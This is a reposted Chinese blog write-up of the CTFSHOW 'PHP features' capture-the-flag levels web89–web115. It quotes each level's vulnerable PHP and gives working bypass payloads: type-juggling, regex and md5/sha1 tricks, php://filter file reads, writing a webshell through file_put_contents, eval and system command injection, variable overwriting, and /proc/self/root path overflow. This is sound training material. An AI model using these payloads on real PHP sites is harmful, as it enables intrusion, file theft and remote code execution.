iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CTFSHOW php 特性
  • 932
分享到

CTFSHOW php 特性

php 2023-09-01 22:09:05 932人浏览 薄情痞子
摘要

目录 web89 数组绕过正则 PHP preg_match() 函数 | 菜鸟教程  web90  ===的绕过 首先 我们输入一个 4476a 就可以绕过 第一个nonono 也可以使用浮点型 也可以使用进制 web91   了解正则

目录

web89 数组绕过正则

PHP preg_match() 函数 | 菜鸟教程

 web90  ===的绕过

首先 我们输入一个 4476a 就可以绕过 第一个nonono

也可以使用浮点型

也可以使用进制

web91   了解正则

web92 == 绕过

进制

 浮点型

科学计数法

web93 过滤字母

浮点型

 进制

 web94 strpos(字符串,字符)

八进制

 浮点型

web95 /[a-z]|\./i  正则过滤

八进制

web96  路径读取、伪协议

 web97 数组绕过md5比较

 web98    三目运算符

web99  file_put_contents写入

 web100 优先级

 web101  反射API

 web102 PHP短开表达式 回调函数call_user_func

web103

 web104 shal弱比较的绕过

web105


WEB89 数组绕过正则

include("flag.PHP");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];get num    if(preg_match("/[0-9]/", $num)){是数字 就输出 no        die("no no no!");    }    if(intval($num)){如果是存在整数 输出 flag        echo $flag;    }}

这个使用数组就可以绕过正则

这里学一下

PHP preg_match() 函数 | 菜鸟教程

?num[0]=1

 web90  ===的绕过

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==="4476"){        die("no no no!");    }    if(intval($num,0)===4476){        echo $flag;    }else{        echo intval($num,0);    }} 

首先 我们输入一个 4476a 就可以绕过 第一个nonono

这样 就绕过了 第二个 ===

也可以使用浮点型

也可以使用进制

intval($num,0)

设置第二个参数为0  如果识别到 0x 那么就自动 转为 16进制取整

web91   了解正则

include('flag.php');$a=$_GET['cmd'];if(preg_match('/^php$/im', $a)){    if(preg_match('/^php$/i', $a)){        echo 'hacker';    }    else{        echo $flag;    }}else{    echo 'nonononono';} 

 第一个if

/^phpA$/  以php为开头的字符串 并且以php结尾的字符串 就是php/im 多行匹配和匹配大小写

第二个 就是 取消了多行匹配的机制 并且让我们

意思就是单行无法匹配到php开头的字符串

这个时候可以使用url编码的换行符 %0a

?cmd=%0aphp

web92 == 绕过

用之前的方法也可以

进制

 浮点型

 但是我们不能使用 4476a来绕过== 因为他不管比较的双方的类型

只要值相同就相同

我们输入 4476a  他读取到4476  就会和 另一方进行比较

这样 就绕不过去

科学计数法

但是我们可以使用字母e 因为在 计算机中 e有科学计数法的用法

当我们输入 4476e1 == 就会直接识别为 4476e1

绕过第一个 ==

web93 过滤字母

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==4476){        die("no no no!");    }    if(preg_match("/[a-z]/i", $num)){        die("no no no!");    }    if(intval($num,0)==4476){        echo $flag;    }else{        echo intval($num,0);    } 

能发现不能使用科学计数法了

浮点型

4476.1

 进制

我们使用八进制 因为八进制 只要识别到0开头就默认为八进制

 

 web94 strpos(字符串,字符)

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==="4476"){        die("no no no!");    }    if(preg_match("/[a-z]/i", $num)){匹配 所有字母 并且不区分大小写        die("no no no!");    }    if(!strpos($num, "0")){当 0 出现在开头 就报错这里可能是想过滤 八进制        die("no no no!");    }    if(intval($num,0)===4476){        echo $flag;    } 

题目想过滤八进制 但是 其实还是可以使用八进制

八进制

?num=  010574

前面添加一个空格即可

 浮点型

?num=4476.01

这题主要是注意函数

strpos(字符串,字符)  查找字符在字符串第一次出现的位置

所以这个函数就是找到0出现的位置 并且不能让0 在开头

但是我们可以空格绕过

web95 /[a-z]|\./i  正则过滤

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==4476){        die("no no no!");    }    if(preg_match("/[a-z]|\./i", $num)){这里又重新过滤了 .  说明浮点型也不行了        die("no no no!!");    }    if(!strpos($num, "0")){        die("no no no!!!");    }    if(intval($num,0)===4476){        echo $flag;    }}

那就只能使用

八进制

?num=  010574?num=+010574

web96  路径读取、伪协议

highlight_file(__FILE__);if(isset($_GET['u'])){    if($_GET['u']=='flag.php'){        die("no no no");    }else{        highlight_file($_GET['u']);高亮 flag这里可以判断     }}

hightlight_file(高亮文件的绝对路径,返回值) 其中返回值可选

这里很明显要我们输入flag的路径

那我们测一下

./flag.php   ./表示在当前目录下../html/flag.php      ../ 表示父级目录 然后访问html中的flagphp://filter/read/resource=flag.php 伪协议

 web97 数组绕过md5比较

include("flag.php");highlight_file(__FILE__);if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}?> 

通过数组可以绕过MD5的比较

 web98    三目运算符

https://www.cnblogs.com/echoDetected/p/13999517.html

https://www.cnblogs.com/NPFS/p/13798533.html

说是三目运算符

$_GET?$_GET=&$_POST:'flag'; 如果get请求存在 那么就通过 post来覆盖掉get请求这里意思 就是 如果$_GET为真 那么就执行$_GET=&$_POST  否则执行'flag'$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; 这两个就是 比对get 是否为 flag如果get接受的参数值为 flag 那就设置&$_COOKIE和&$_SERVER为flaghighlight_file($_GET['Http_FLAG']=='flag'?$flag:__FILE__); 如果get的参数为 http_flag 并且内容为 flag那么就输出  http_flag的地址

所以这里我们 get的值不能为flag 不然就会设置get为空

然后我们设置post为 HTTP_FLAG=flag

web99  file_put_contents写入 in_array漏洞

highlight_file(__FILE__);$allow = array();设为数组for ($i=36; $i < 0x36d; $i++) {     array_push($allow, rand(1,$i));向尾部插入 rand(1,$i) 循环 54次}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){    file_put_contents($_GET['n'], $_POST['content']);将post的content 写入 get的文件中如果get不存在 那么就创建文件}?> 

这里发现可以写东西到服务器

那我们就想到一句话木马

这里主要是 in_array 存在漏洞

如果 in_array 的第三个参数不设置为 true 就不会比较类型我们输入 1.php  他会自动识别和 allow一样的类型为 1 

这里我们看看

get: ?n=1.phppost: content=

 web100 优先级

highlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;提示我们 在 ctfshow类中$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];3个参数$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);第四个参数是 前三个相与if($v0){    if(!preg_match("/\;/", $v2)){就是不能在v2中招到 分号;        if(preg_match("/\;/", $v3)){要在 v3中找到  分号;            eval("$v2('ctfshow')$v3");执行 v2 ('ctfshow')v3这里 就发现v2 是命令 v3多半就分号 ;        }    }    }

第一个if判断


 

这里的原理是 = 大于 and 和 or这样 v0=1 and 0 and 0 还是1

 这样就绕过了第一个if

我们知道了 两个的类型

v2 命令

v3分号

这样我们就看看

如何输出

var_dump() 可以用于识别类型 并且输出 表达式的类型和值

PHP var_dump() 函数 | 菜鸟教程

我们让v2=var_dump($ctfshow)

v3=;

这样就构造了

var_dump($ctfshow)('ctfshow');

 

 成功返回值了

我们继续尝试

?v1=1&v2=var_dump($ctfshow)&v3=;

 还有一个方式

就是

通过注释来绕过

 

payload1: ?v1=1&v2=var_dump($ctfshow)&v3=;payload2: ?v1=1&v2=var_dump($ctfshow);

 web101  反射api

这个 是关于面向对象

存在一个 反射api

ReflectionClass 用于输出 类的详细信息

创建方式为 new ReflectionClass

可以使用echo ReflectionClass("ClassName" ) 输出类的信息

这里就可以使用这个来

?v1=1&v2=echo new ReflectionClass&v3=;

最后需要爆破最后一位

最后一位是 6

 web102 PHP短开表达式 回调函数call_user_func

highlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){    $s = substr($v2,2);从v2 的第二位开始读取    $str = call_user_func($v1,$s);然后使用回调函数这里 $s会作为参数 被 $v1调用这就是另一个调用函数的方式罢了    echo $str;    file_put_contents($v3,$str);写入v3中}else{    die('hacker');}

这里我们首先要用v2来绕过 第一个if

这里介绍两个函数

bin2hex和hex2bin这两个是 字符串 和 十六进制字符串 互相变换的函数

 我们思考 第一个if 需要是数字 然后绕过

那我们是不是可以生成一个 十六进制字符串 然后绕过

这里的读取命令是特殊构造的 需要绕过is_numeric()

可以通过科学计数法绕过

这里提及PHP短开表达式

相当于

然后我们通过伪协议 通过解密base64写入文件

以为这个特殊构造的命令是 要先base64加密 然后通过 bin2hex 转换字符串

就可以形成特殊的 科学计数法形式

 

 这里最后的= 可以删除 不删除就无法绕过

50 44 38 39 59 47 4e 68 64 43 41 71 59 44 73

然后可以开始写入

payloadget :   v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=34.php       post:   v1=hex2bin

 这样就绕过了

web103

highlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){    $s = substr($v2,2);    $str = call_user_func($v1,$s);    echo $str;    if(!preg_match("/.*p.*h.*p.*/i",$str)){        file_put_contents($v3,$str);    }    else{        die('Sorry');    }}else{    die('hacker');}

加了个过滤条件

但是还是可以通过 102的方式直接做

 web104 shal弱比较的绕过

highlight_file(__FILE__);include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){    $v1 = $_POST['v1'];    $v2 = $_GET['v2'];    if(sha1($v1)==sha1($v2)){        echo $flag;    }} 

这里主要是 shal 的比较

其实shal和MD5一样 可以通过数组绕过

web105  变量覆盖

  $value){    if($key==='error'){        die("what are you doing?!");    }    $$key=$$value;}foreach($_POST as $key => $value){    if($value==='flag'){        die("what are you doing?!");    }    $$key=$$value;}if(!($_POST['flag']==$flag)){    die($error);}echo "your are good".$flag."\n";die($suces);?>你还想要flag嘛?

首先来分析一下

GETif($key==='error')POSTif($value==='flag')如果get的内容为 error 那么报错如果post内容为flag 那么就报错否则就将key内容设置为value的值
if(!($_POST['flag']==$flag)){    die($error);}echo "your are Good".$flag."\n";die($suces);这一段代码就是我们得到flag的方式1.如果 error将变量flag输出只需要将flag的值覆盖到error上即可GETx=flagPOSTerror=x

2.通过suces输出flagGET?suces=flag&flag=这里首先将suces的值设置为 flag然后又将 flag设置为空这样就绕过了if(!($_POST['flag']==$flag)){    die($error);} 

 

web106

 

shal可以通过数组绕过

?v2[]=1v1[]=2

 web107  特殊的md ‘科学计数法’

 

看看函数

parse_str()

";echo $age;?>

这里给出

parse_str(string,array)

所以 v1是string  v2是array 就是数组名

所以我们要让 v2里面的数组 存在 flag

并且他的值要和v3的md5一样

这里我们就直接payload

GET ?v3=1POSTv1=flag=c4ca4238a0b923820dcc509a6f75849b

这样 v2就存在 flag->c4ca4238a0b923820dcc509a6f75849b的数组

其中 c4ca4238a0b923820dcc509a6f75849b就是1 的md5值

这里还存在另一个做法

首先我们注意是弱比较

==

这里就存在另一个payload

?v3=240610708v1=flag=0

原理 是 240610708 的md5是0e462097431906509019562988736854

这里就类科学计数法 这样 == 就会识别为0

那么 就得到flag

web108  ereg的00截断漏洞

highlight_file(__FILE__);error_reporting(0);include("flag.php");if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {    die('error');}//只有36d的人才能看到flagif(intval(strrev($_GET['c']))==0x36d){    echo $flag;}?>error

首先我们要先了解函数

第一个函数 ereg 

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {    die('error');首先匹配一个或多个由字母组成的字符串ereg()函数:字符串对比解析,区分大小写这里的意思就是 c  必须是字母的字符串

接下来是下一个strrev

这个是反装字符串 我们输入 d63x0 就会输出 0x36d

所以这道题需要我们并且还是需要通过intval来转换为整数

这里我们就需要绕过ereg 这样我们才可以输入数字

ereg存在00截断的漏洞

所以我们 通过 a%00 即可绕过

我们只需要通过 778 就可以让intval 识别为 0x36d

所以paylaod是

?c=a%00778

web109  _toString类 遇到echo new 内置类

 

首先 echo new 执行新类 那么就说明 我们执行的类需要有 _toString的方法

就是能直接返回值

其次我们需要了解 php中存在嵌套的函数调用

$a='phpinfo';那么$a=phpinfo();相当

那我们只需要通过 _toSring方法输出即可

找到符合条件的异常类Exception以及反射类ReflectionClass

所以我们使用随便取一个作为payload

?v1=ReflectionClass&v2=system(ls)这里会变为 echo new ReflectionClass(system(ls)());会先执行命令 然后报错 

?v1=ReflectionClass&v2=highlight_file("fl36dg.txt")

 

 web110  内置类 FilesystemIterator 读取文件目录  getcwd函数

 

过滤了数字和符号

这里又要使用另一个内置类 迭代器FilesystemIterator

构造方法是目录

valid()) { // 检测迭代器是否到底了    echo $iterator->getFilename(), ':', $iterator->getCTime(), PHP_EOL;    $iterator->next();  // 游标往后移动}?>

 那么我们如何获取当前目录 可以使用 getcwd函数

那么payload就出现了

?v1=FilesystemIterator&v2=getcwdgetcwd():获取当前文件目录FilesystemIterator&遍历文件的类DirctoryIntrerator 遍历目录的类

但是我们无法读取 直接访问文件即可

web111 超全局变量  $GOLBALS

/', $v1)){            die("error v1");    }    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){            die("error v2");    }        if(preg_match('/ctfshow/', $v1)){            getFlag($v1,$v2);    }        }?> 

这题主要是

function getFlag(&$v1,&$v2){    eval("$$v1 = &$$v2;");    var_dump($$v1);} 看样子是输出 v1 其实是输出v2        if(preg_match('/ctfshow/', $v1)){            getFlag($v1,$v2);    }    v1中需要有 ctfshow 的字符串那么我们就存入ctfshow

这里我们可以使用 GLOBALS 来通过 var_dump输出全局变量

 所以payload就出现了

?v1=ctfshow&v2=GLOBALS

 web112 is_file 和highlight_file对于伪协议的判断

https|data|input|rot13|base64|string/i',$file)){        die("hacker!");    }else{        return $file;    }}$file=$_GET['file'];if(! is_file($file)){    highlight_file(filter($file));}else{    echo "hacker!";} 

is_file认为伪协议不是文件,highlight_file认为伪协议是文件

这题目需要我们传入的东西不是文件 但是需要通过 highlight_file来输出

那么很显然就使用伪协议来读取一下

所以我们直接通过伪协议查看

payload

php://filter/convert.quoted-printable-encode/resource=flag.php

web113 过滤了 filter 使用

 

过滤了 filter过滤器

使用其他的伪协议

compress.zlib://flag.php

目录溢出

预期是目录溢出

首先了解linux下的目录

/proc/self/root

 是指向 linux文件的根目录

 并且 is_file 对文件名的判断存在长度限制 并且需要传入的是绝对路径

那么我们可以构造一个一直访问根目录 来绕过绝对路径

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root

这个时候 会无法访问到文件 而一直访问文件夹

当达到预定长度后 就会实现目录溢出

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

 

 

web114

 

把filter放出来了 直接通过 filter读取即可

web115  is_numeric和trim双检测

 
function filter($num){    $num=str_replace("0x","1",$num);    $num=str_replace("0","1",$num);    $num=str_replace(".","1",$num);    $num=str_replace("e","1",$num);    $num=str_replace("+","1",$num);    return $num;} 十六进制 八进制 浮点数 科学计数法 开头绕过全被ban了if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')首先需要整数   不能为36  开头删除空白后 不能等于36 并且ban了上面的

这里主要是通过师傅的测试学习更深入学习 php

首先我们这里了解到 主要就是 is_numeric和trim两个函数

那我们做个测试看看

这里主要是输出 循环ascii后 在1前面加上字符后 是否能够识别为数字 如果可以输出字符

%09 %0A %0B %0C %0D + %2B - . 0 1 2 3 4 5 6 7 8 9 

发现这些字符可以绕过 is_numeric函数

那么我们再加上条件 trim()

%0C %2B - . 0 1 2 3 4 5 6 7 8 9 %2b是 +

对比一下 filter 发现只有 %0c可以绕过

所以payload就出现了

?num=%0C36

来源地址:https://blog.csdn.net/m0_64180167/article/details/131963158

--结束END--

本文标题: CTFSHOW php 特性

本文链接: http://www.lsjlt.com/news/389687.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • CTFSHOW php 特性
    目录 web89 数组绕过正则 PHP preg_match() 函数 | 菜鸟教程  web90  ===的绕过 首先 我们输入一个 4476a 就可以绕过 第一个nonono 也可以使用浮点型 也可以使用进制 web91   了解正则...
    99+
    2023-09-01
    php
  • ctfshow php特性[125-135]
    😋 大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。 本人水平有限,欢迎各位大佬指点,一起学习 💗 ,一起进步 ⭐ 。 ⭐ 此后如竟没有炬火,我便...
    99+
    2023-09-05
    网络安全 安全 学习 Powered by 金山文档
  • ctfshow web入门 php特性 web108-web112
    1.web108 strrev() 反转字符串 ...
    99+
    2023-09-09
    前端 php android
  • ctfshow web入门 php特性 web93-97
    1.web93 intval($num,0),0代表根据变量类型进行使用哪一种进制进行取整 可以使用8进制,正负数,小数点 payload: 010574 +4476.0 4476.0 2.web9...
    99+
    2023-09-03
    php 数学建模 开发语言 网络安全
  • Ctfshow web入门 PHP特性篇 web89-web151 全
    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭… 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件。题目...
    99+
    2023-09-23
    php web安全
  • 云曦暑期学习第三周——ctfshow--php特性(89-104)
    目录 web89  preg_match函数 、数组 web90  intval()函数、强比较 web91  正则修饰符 web92  intval()函数、弱比较 web93  八进制、小数点 web94  strpos() 函数、小数...
    99+
    2023-09-17
    php android 开发语言
  • PHP-nginx-ctfShow文件上传漏洞
    CTFSHOW-文件上传-151到161关卡 151 152-JS验证+MIME Content-Type: image/png 153-JS验证+user.ini https://www.cnblogs.com/N...
    99+
    2023-10-05
    php nginx 安全
  • PHP中封装性的高级特性
    封装是面向对象编程中非常重要的一个概念,它通过将数据和行为封装在一个对象内部,从而实现了数据的隐藏和保护。PHP作为一门面向对象的语言,也提供了丰富的封装性的高级特性,本文将通过具体的代码示例来介绍这些特性。访问控制(Access Cont...
    99+
    2023-10-21
    PHP编程 封装性 高级特性
  • PHP和Python的基础特性
    本篇内容介绍了“PHP和Python的基础特性”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!我们都知道,PHP 是一种 HTML 内嵌式的语...
    99+
    2023-06-17
  • PHP的学习--Traits新特性
    自 PHP 5.4.0 起,PHP 实现了代码复用的一个方法,称为 traits。 Traits 是一种为类似 PHP 的单继承语言而准备的代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复...
    99+
    2023-08-31
    php 学习 开发语言 网络安全 linux
  • php类的特性有哪些
    PHP类具有以下特性:1. 封装性(Encapsulation):类可以将相关的属性和方法组合在一起,形成一个封装的单元。通过封装,...
    99+
    2023-09-13
    php
  • 深入理解PHP中的多态性特性
    多态性是面向对象程序设计中的重要概念之一,它允许不同对象使用同一个方法名称进行不同的操作。在PHP中,多态性通过继承和实现接口来实现。本文将深入探讨PHP中多态性的特性,并通过具体的代...
    99+
    2024-04-02
  • PHP 函数新特性的兼容性如何?
    PHP 函数新特性的兼容性 随着 PHP 版本的不断更新,新的函数特性也在不断增加,但在实际项目中使用这些特性时,需要注意其兼容性问题。本篇文章将探讨 PHP 函数新特性的兼容性,并提...
    99+
    2024-05-01
    php 函数兼容性
  • php的语言特性有哪些
    这篇文章主要介绍了php的语言特性有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇php的语言特性有哪些文章都会有所收获,下面我们一起来看看吧。PHP的语言特性:1、PHP语言可以运行与多种操作系统;2、P...
    99+
    2023-06-29
  • Web攻防--PHP特性&CTF考点
    本文分享的一些PHP代码的缺陷对比函数和CTF的一些考点 知识点: 过滤函数缺陷绕过 CTF考点与代码审计 例如:在PHP 语言中==与===(区别在于==不会对比类型===类型也会对比) 缺陷:两个等号的缺陷就是不唯一 下图是一个简易的代...
    99+
    2023-10-05
    php 开发语言 web安全 网络安全
  • PHP整合php7特性的方法
    这篇文章主要介绍PHP整合php7特性的方法,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!PHP7 已经出来1年了,PHP7.1也即将和大家见面,这么多好的特性,好的方法,为什么不使用呢,也希望PHP越来越好。 在...
    99+
    2023-06-14
  • PHP 7.4有哪些新增特性
    本篇文章为大家展示了PHP 7.4有哪些新增特性,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。性能提升,数组表达式中引入 Spread 运算符…自 PHP 5.6 起可用,参数解包是将数组和 Tra...
    99+
    2023-06-15
  • PHP的新增特性有哪些?
    php 的新特性包括:标量类型声明(提升代码可读性和维护性)、匿名类(方便创建一次性对象)、返回类型声明(静态分析和提高维护性)、空间船操作符(比较表达式值)、null 合并运算符(提供...
    99+
    2024-04-13
    php 新特性 代码可读性
  • php特性之intval学习小记
    前言 文章同步我的个人博客http://www.quan9i.top/,欢迎大家访问。 php特性的intval是一个比较常见的漏洞,今天就来比较全面的学习这个函数,将其简单的利用方式总结一下 函数学...
    99+
    2023-09-04
    php 学习 web安全
  • PHP高级特性如何使用
    这篇文章主要介绍“PHP高级特性如何使用”,在日常操作中,相信很多人在PHP高级特性如何使用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”PHP高级特性如何使用”的疑惑有所帮助!接下来,请跟着小编一起来学习吧...
    99+
    2023-06-22
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作